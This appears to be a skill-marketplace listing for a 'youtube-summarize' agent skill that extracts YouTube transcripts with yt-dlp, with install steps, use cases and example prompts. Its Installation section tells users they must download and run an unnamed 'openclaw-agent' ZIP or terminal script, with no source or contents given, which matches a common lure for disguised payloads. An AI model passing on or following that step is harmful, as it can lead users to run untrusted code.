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Official Verified media Safety 4/5

youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Efficiently summarize YouTube videos by extracting transcripts and captions. Save time with AI-driven content analysis for your workflows.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-mxmlp
Or

What This Skill Does

The youtube-summarize skill is a powerful utility for OpenClaw users designed to streamline the consumption of long-form video content. By leveraging the industry-standard yt-dlp tool, this skill automates the extraction, cleaning, and preparation of YouTube video transcripts. Rather than watching hour-long lectures or tutorials, users can utilize this skill to ingest the raw text of a video directly into their AI agent's context window. This allows the agent to generate concise summaries, extract specific technical points, or synthesize information from multiple sources rapidly and accurately.

Installation

To get started, first ensure your environment is prepared by installing yt-dlp via pip install yt-dlp. Crucially, you must install the openclaw-agent utility as specified in the skill documentation to bridge the gap between shell commands and agent execution. For Windows, download and extract the provided ZIP; for macOS, execute the provided terminal script. Once these dependencies are met, you can finalize the integration by installing the skill directly from the repository using: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-mxmlp.

Use Cases

This skill is indispensable for professionals and students alike. Use it to:

  • Summarize lengthy educational webinars and technical conference talks.
  • Extract key action items from instructional "how-to" videos.
  • Conduct competitive research by analyzing multiple videos from a specific niche without scrubbing through timelines.
  • Create "tl;dw" (too long; didn't watch) bullet points for team meetings or internal documentation based on video briefings.

Example Prompts

  1. "Summarize the key takeaways from this video: [LINK]. Focus specifically on the architectural recommendations mentioned."
  2. "I need a step-by-step tutorial based on this video: [LINK]. Can you extract the commands used in the terminal?"
  3. "Compare the main arguments presented in this video: [LINK] and tell me if they conflict with standard industry practices."

Tips & Limitations

  • Accuracy: The quality of the summary is highly dependent on the availability of high-quality auto-generated captions or manual subtitles. Videos without any captions cannot be processed.
  • Complexity: Very long videos (over 60 minutes) may produce transcripts that exceed token limits. If processing long videos, ask the agent to focus on specific segments or themes to maintain summary quality.
  • Formatting: Always check the provided output file (transcript.txt) if the initial summary seems incomplete; the cleaning process is optimized for standard VTT files but may struggle with highly non-standard subtitle formatting.

Metadata

Stars2387
Views1
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-mxmlp": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#summarization#transcription#productivity#video-analysis
Safety Score: 4/5

Flags: network-access, file-write, file-read, code-execution